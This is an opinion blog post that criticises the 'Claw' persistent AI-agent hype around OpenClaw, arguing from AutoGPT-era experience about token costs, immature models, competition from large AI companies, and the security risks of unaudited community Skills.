From an AutoGPT veteran: why the “Claw” hype doesn’t impress me at all
Andrej Karpathy has coined another buzzword.
The OpenAI co-founder and former Tesla Senior Director of AI casually dropped “Vibe Coding” in early 2025. Within weeks the entire industry adopted it, and by year-end it was Collins Dictionary’s Word of the Year. Now he’s thrown out another one: “Claw.” 1.7 million views in 24 hours. The AI world is buzzing again.
He says there’s a new layer in the AI stack: Chat → Code → Claw. Above LLMs sit Agents, and above Agents now sits a persistent, memory-equipped, autonomously orchestrating “digital house elf.”
Sounds sexy. But I’d like to pour some cold water on this.
I’ve been playing with Agents since the AutoGPT era. That was early 2023, shortly after GPT-3.5 launched. AutoGPT gained tens of thousands of GitHub stars in a single week. The marketing pitch back then was almost identical to today’s lobster hype: “autonomous task completion,” “no human intervention needed,” “AI does everything for you.”
What happened? AutoGPT produced a few hundred tokens of garbage text, burned through tens of dollars in API costs, then fell into an infinite loop.
Now it has a new name called “Claw” and a new emoji 
. Has anything fundamentally changed?
1. Capability and Model Never Match
The core contradiction of third-party Agents has never changed: there’s always a mismatch between what the framework aspires to do and what the model can actually deliver.
In the early days, the Agent was ahead of its time. AutoGPT designed an elaborate self-looping architecture, but GPT-3.5’s reasoning capabilities simply couldn’t sustain it. The result was an endless spiral of hallucinations producing nothing of value.
Now? Models have genuinely improved. Claude, ChatGPT, Gemini—reasoning capabilities have improved by an order of magnitude compared to two years ago. But our expectations for Agents have inflated even faster. We now want them to autonomously manage servers, negotiate car purchases, and monitor our entire digital lives 24/7. Against these higher-dimensional demands, model intelligence still falls short.
It’s a race you can never win. The model advances one step, demands leap three steps ahead. Two years ago the problem was that models were too dumb. Now the problem is that our requirements are too high. It’s the same dilemma wearing different clothes.
2. The Token Black Hole: Claws Are Money-Burning Machines
Let’s do some math.
The core selling point of Claws is “persistence”—24/7 online, long-term memory, proactive task scheduling. But “persistent” means continuously consuming tokens. Long-term memory means massive context that needs to be repeatedly loaded.
If you run a Claw on a cheap local model, the output quality will be embarrassing, completely mismatched with your expectations. You’d never trust a 7B-parameter model to make any meaningful decision on your behalf.
If you use a top-tier model? Every scheduling decision, every memory retrieval, every task judgment burns premium tokens. A simple PowerPoint-level task might consume hundreds of thousands of tokens. A bill worth hundreds of dollars producing something worthless—this isn’t hypothetical. It played out repeatedly in the AutoGPT era.
Some say Context Caching can solve this, reducing repeated-call costs to one-tenth. Others propose using small models as pre-filters, invoking the large model only at critical moments. These techniques exist, but they’re nowhere near mature enough to sustain the economics of a 24/7 persistent Agent. No key technology today can truly achieve “remembers a lot while spending very few tokens.”
3. The Kitchen Theory: You Can’t Outperform the AI Giants
Here’s the most overlooked fact in the entire Claw hype: AI giants are building their own Agents.
OpenAI has Operator. Anthropic has Computer Use. Google has various embedded Agent capabilities. And OpenClaw’s creator, Peter Steinberger, officially joined OpenAI on February 15, 2026, with Sam Altman personally announcing that he would “drive the next generation of personal agents”—meaning ChatGPT will very likely absorb the Claw architecture directly and ship it as a native feature.
The big companies have one advantage that third parties can never match: their token cost is effectively zero.
When OpenAI runs an Agent inside ChatGPT, the inference cost is internal transfer pricing, close to marginal cost. Every API call a third-party developer makes is real money. For the same task, the official product can afford to let the model “think a little longer” for better quality, while third parties must constantly trade off between quality and cost.
This cost gap amplifies exponentially with task complexity. A simple task might differ by a few cents. A complex, long-running orchestration might differ by hundreds of dollars.
Nobody gives their kitchen to outsiders. The big companies understand their own models best, can optimize inference efficiency best, and are best positioned to ensure security. Third-party Claws operating on someone else’s platform, using someone else’s API, trying to outperform the platform owner—this logic simply doesn’t hold up commercially.
4. The Skill Library: An Ocean of Hidden Bombs
The Claw community’s proudest feature is its Skill system—want to add any capability, just add it. The AI reads a Markdown tutorial and automatically modifies the code.
Sounds cool. But who wrote these Skills? They’re code snippets generated by humans using AI, mostly untested and certainly not security-audited.
For people who know what they’re doing: I can write these Skills myself. Why would I use someone else’s?
For people who don’t know what they’re doing: this is the real nightmare. You have no idea whether a Skill contains malicious logic. An innocent-looking “auto-tweet” plugin might secretly read your .env file and send your API keys to a third-party server.
Karpathy himself said he’s afraid to use OpenClaw. “Handing my private data and keys to a 400,000-line vibe-coded monster is not fun at all.”
If even Karpathy won’t use it, what about the non-technical users who rush to try it after reading hype articles? This is the most dangerous aspect of the Claw trend—it has attracted massive numbers of outsiders, people with zero security awareness installing a program with full system permissions onto their computers.
5. Where Are the Real Examples?
I did something very simple: I searched for real, production-grade products that a Claw has actually built.
Found nothing.
Articles everywhere talk about “what Claws can do”—send you Telegram messages, generate daily reports, monitor your inbox. These functions? An RSS crawler plus a cron job can handle them. 2010-era technology is sufficient.
Some say Claws can automatically manage servers. But when the underlying database hits a deadlock or a distributed system experiences cascading failures, the Claw will just keep retrying and burning your tokens until your account balance hits zero.
Some say Claws can negotiate car purchases for you. Are you serious? Letting an AI handle high-risk decisions involving contracts and money? If the seller realizes they’re dealing with AI and uses social engineering to get it to sign an unfair contract, who bears the consequences?
Manus was asked to generate a three.js skeletal animation system in testing. It terminated the task because the context got too long. One moderately complex frontend requirement, and it collapsed.
Meanwhile, I have zero programming experience. Using AI assistance directly—no Agent framework, no Skill library, just opening multiple AI chat windows and acting as my own dispatcher—I built a Payload CMS backend, a 10,000-line Next.js project, and shipped it to production two months ago.
Gartner’s June 2025 report predicts that over 40% of agentic AI projects will be canceled by the end of 2027, citing escalating costs, unclear business value, and inadequate risk controls. Forrester’s 2025 predictions report states that 75% of enterprises that attempt to build agentic AI architectures on their own will fail. This isn’t just my opinion. These are top-tier industry analysts speaking with data.
6. If Tokens Were Free, Why Would I Need a Claw?
Here’s the most basic truth of all.
If I had unlimited tokens—if AI were truly free to use—I’d open 10 Claude windows and 10 ChatGPT windows, assign each a specific task, and serve as the commander-in-chief. No Agent framework needed, and I’d still get the job done beautifully.
Because as a human, I know when to stop. I know when the result is good enough. I know when the AI is hallucinating and I need to try a different approach. The Claw doesn’t know any of this. It just keeps running along its preset flow, and when it goes off track, it continues burning tokens while amplifying the error.
Claws are fundamentally attempting to simulate human judgment through complex engineering architecture. And judgment is precisely what AI currently does worst.
Claws sell an illusion: that “architectural cleverness” can bypass “resource scarcity.” But reality is that clever architecture itself consumes resources—and not a small amount.
Conclusion
I don’t deny that “Claw” as a conceptual direction has merit—a 24/7 persistent Agent with memory that can orchestrate multiple systems is indeed a natural evolution of AI.
But the right direction doesn’t mean the right timing.
Token costs haven’t dropped to tap-water prices. Long-term memory has no breakthrough compression solution. Security concerns have no reliable resolution mechanism. Model judgment still can’t support high-risk autonomous decisions. Until all four of these mountains are crossed, “Claw” remains just a concept, a coinage exercise, a marketing campaign.
Karpathy excels at coining terms, no question. But coining terms and building products are two different things. “Vibe Coding” succeeded because it described a phenomenon that had already happened—people were genuinely coding by feel with Cursor. “Claw” describes a future that hasn’t matured yet.
The most likely fate of open-source Claws is absorption by the giants. OpenClaw’s creator Peter Steinberger has already joined OpenAI, and the architectural ideas will become native ChatGPT features. At that point it won’t be called a “Claw” anymore—it’ll just be called a “feature update.”
The only survival niche for third-party open-source Claws, much like ComfyUI, isn’t competing with officials on efficiency—it’s providing the freedom that officials will never offer. That’s a narrow but real gap.
As for the ordinary users who rush to install Claws after reading hype articles, I have only one thing to say:
When you don’t know where the risks are, you are the biggest risk.